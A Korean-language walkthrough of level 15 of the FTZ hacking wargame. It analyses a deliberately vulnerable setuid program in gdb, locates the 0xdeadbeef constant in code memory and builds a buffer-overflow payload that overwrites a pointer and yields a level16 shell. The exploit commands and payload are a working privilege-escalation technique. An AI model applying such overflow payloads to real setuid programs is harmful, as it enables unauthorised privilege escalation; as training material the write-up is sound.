ID : level15
PW : guess what
level15 접속~!
[level15@ftz level15]$ ls -al
total 96
drwxr-xr-x 4 root level15 4096 Mar 19 2003 .
drwxr-xr-x 34 root root 4096 Sep 10 2011 ..
-rwsr-x--- 1 level16 level15 13801 Dec 10 2002 attackme
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root level15 24 Feb 24 2002 .bash_logout
-rw-r--r-- 1 root level15 224 Feb 24 2002 .bash_profile
-rw-r--r-- 1 root level15 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root level15 400 Jan 25 1999 .cshrc
-rw-r--r-- 1 root level15 4742 Jan 25 1999 .emacs
-r--r--r-- 1 root level15 319 Jan 25 1999 .gtkrc
-rw-r--r-- 1 root level15 100 Jan 25 1999 .gvimrc
-rw-r----- 1 root level15 185 Dec 10 2002 hint
-rw-r--r-- 1 root level15 226 Jan 25 1999 .muttrc
-rw-r--r-- 1 root level15 367 Jan 25 1999 .profile
drwxr-xr-x 2 root level15 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level15 4096 Jul 4 02:14 tmp
-rw-r--r-- 1 root root 1 May 7 2002 .viminfo
-rw-r--r-- 1 root level15 4145 Jan 25 1999 .vimrc
-rw-r--r-- 1 root level15 245 Jan 25 1999 .Xdefaults
힌트를 읽어봅시다.
#include <stdio.h>
main()
{
int crap;
int *check;
char buf[20];
fgets(buf,45,stdin);
if (*check==0xdeadbeef)
{
setreuid(3096,3096);
system("/bin/sh");
}
}
attackme 파일의 코드를 힌트로 줍니다.
스택을 생각해봅시다.
* 메모리 구조
<낮은주소>
buf
*check
crap
SFP(4)
RET(4)
<높은주소>
더 낮은주소인 buf에서 입력을 받아 포인터 check의 변수값을 바꿀 수 있습니다.
* 이전문제와 대부분이 동일하지만 if문으로 검사하는 check의 변수가 포인터 변수로 선언되어 있습니다.
포인터는 주소값을 담고있으므로 메모리 어딘가에 저장된 deadbeef의 주소값을 넣어주면 될 것 같습니다.
ex)
만약 deadbeef가 0xbfffffe4 에 저장되어 있다면, 포인터 변수 check에 0xbfffffe4를 저장합니다.
=> *check는 *(0xbfffffe4) 를 나타내고, 이 때 *는 주소의 대한 값을 나타냅니다.
=> 즉, 0xbfffffe4의 값을 나타내라는 뜻으로, 0xbfffffe4에 저장된 deadbeef를 가리키고 있는 것 입니다.
그럼 우리는 먼저 메모리 어딘가에 있는 deadbeef를 찾을겁니다.
소스코드 안의 if문에서 deadbeef와 비교하기 때문에... gdb로 찾아봅시다.
[level15@ftz level15]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>: push ebp
0x08048491 <main+1>: mov ebp,esp
0x08048493 <main+3>: sub esp,0x38
0x08048496 <main+6>: sub esp,0x4
0x08048499 <main+9>: push ds:0x8049664
0x0804849f <main+15>: push 0x2d
0x080484a1 <main+17>: lea eax,[ebp-56]
0x080484a4 <main+20>: push eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484aa <main+26>: add esp,0x10
0x080484ad <main+29>: mov eax,DWORD PTR [ebp-16]
0x080484b0 <main+32>: cmp DWORD PTR [eax],0xdeadbeef
0x080484b6 <main+38>: jne 0x80484dd <main+77>
0x080484b8 <main+40>: sub esp,0x8
0x080484bb <main+43>: push 0xc18
0x080484c0 <main+48>: push 0xc18
0x080484c5 <main+53>: call 0x8048380 <setreuid>
0x080484ca <main+58>: add esp,0x10
0x080484cd <main+61>: sub esp,0xc
0x080484d0 <main+64>: push 0x8048548
0x080484d5 <main+69>: call 0x8048340 <system>
0x080484da <main+74>: add esp,0x10
0x080484dd <main+77>: leave
0x080484de <main+78>: ret
0x080484df <main+79>: nop
End of assembler dump.
0x080484b0 <main+32>: cmp DWORD PTR [eax],0xdeadbeef
<main+32> 에서 비교를 수행합니다.
저 지점에 메모리를 열어봅시다.
(gdb) x/4wx 0x080484b0
0x80484b0 <main+32>: 0xbeef3881 0x2575dead 0x6808ec83 0x00000c18
deadbeef가 보이는데 반씩 찢어서 있네요..
자.. 인텔 형식이기 때문에 주소에 대한 값은 다음과 같습니다.
0x80484b0 -> 0xbeef3881
0x80484b1 -> 0xadbeef38
0x80484b2 -> 0xdeadbeef
확인해봅시다.
(gdb) x/wx 0x080484b1
0x80484b1 <main+33>: 0xadbeef38
(gdb) x/wx 0x080484b2
0x80484b2 <main+34>: 0xdeadbeef
deadbeef의 값을 찾았습니다.
그리고 값이 저장된 주소 -> 0x080484b2
=> buf에서 입력을 받아서 포인터 check변수에 0x080484b2를 넣어주게 되면 if문을 통과할 수 있습니다.
두 변수의 거리를 확인해줍니다.
0x080484a1 <main+17>: lea eax,[ebp-56]
0x080484a4 <main+20>: push eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484ad <main+29>: mov eax,DWORD PTR [ebp-16]
0x080484b0 <main+32>: cmp DWORD PTR [eax],0xdeadbeef
buf : ebp-56
*check : ebp-16
buf와 *check 사이의 거리 : 40byte
* 페이로드
A*40 + \xb2\x84\x04\x08
attackme 파일에 바로 입력을 해봅시다.
[level15@ftz level15]$ (python -c 'print "A"*40 + "\xb2\x84\x04\x08"';cat)|./attackme
id
uid=3096(level16) gid=3095(level15) groups=3095(level15)
my-pass
Level16 Password is
level15 클리어~!